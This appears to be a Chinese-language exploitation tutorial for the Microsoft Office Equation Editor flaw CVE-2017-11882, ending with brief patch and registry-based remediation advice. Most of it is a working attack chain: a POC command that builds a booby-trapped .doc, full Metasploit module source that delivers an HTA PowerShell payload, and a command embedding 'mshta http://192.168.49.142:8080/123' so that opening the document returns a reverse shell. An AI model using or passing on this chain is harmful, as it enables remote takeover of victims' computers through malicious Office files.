POC:
一、简单的生成弹计算器的doc文件。
网上看到的改进过的POC，我们直接拿来用，命令如下：
#python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
生成的doc文件直接打开就可以弹出计算器。
影响的脚本：
Office 365 Microsoft Office 2000 Microsoft Office 2003 Microsoft Office 2007 Service Pack 3 Microsoft Office 2010 Service Pack 2 Microsoft Office 2013 Service Pack 1 Microsoft Office 2016
二、生成可以反弹shell的doc文件
这里我们用到MSF， 添加EXP脚本，进入/usr/share/metasploit-framework/modules/exploits/windows/，新建一个office文件夹，把以下的代码保存为ps_shell.rb。
EXP脚本
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Office Payload Delivery', 'Description' => %q{ This module generates an command to place within a word document, that when executed, will retrieve a HTA payload via HTTP from an web server. Currently have not figured out how to generate a doc. }, 'License' => MSF_LICENSE, 'Arch' => ARCH_X86, 'Platform' => 'win', 'Targets' => [ ['Automatic', {} ], ], 'DefaultTarget' => 0, )) end def on_request_uri(cli, _request) print_status("Delivering payload") p = regenerate_payload(cli) data = Msf::Util::EXE.to_executable_fmt( framework, ARCH_X86, 'win', p.encoded, 'hta-psh', { :arch => ARCH_X86, :platform => 'win '} ) send_response(cli, data, 'Content-Type' => 'application/hta') end def primer url = get_uri print_status("Place the following DDE in an MS document:") print_line("mshta.exe \"#{url}\"") end end 保存之后如下:
之后我们进入msf控制台，选择好payload并且设置好ip和生成的hta文件路径。
然后利用上面的POC将生成的hta文件放到doc文件里。
#python Command109b_CVE-2017-11882.py -c "mshta http://192.168.49.142:8080/123" -o test123.doc
将生成的test123.doc文件放到目标机里打开，成功返回shell。
修复建议：
1.下载微软对此漏洞补丁：，并且开启自动更新功能
2.在注册表中禁用该漏洞模块：reg add “HKLM\SOFTWARE\Microsoft\Office\XX.X\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags” /t REG_DWORD /d 0x400reg add “HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\XX.X\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags” /t REG_DWORD/d 0x400最后放几个GitHub上面的POC：
转自：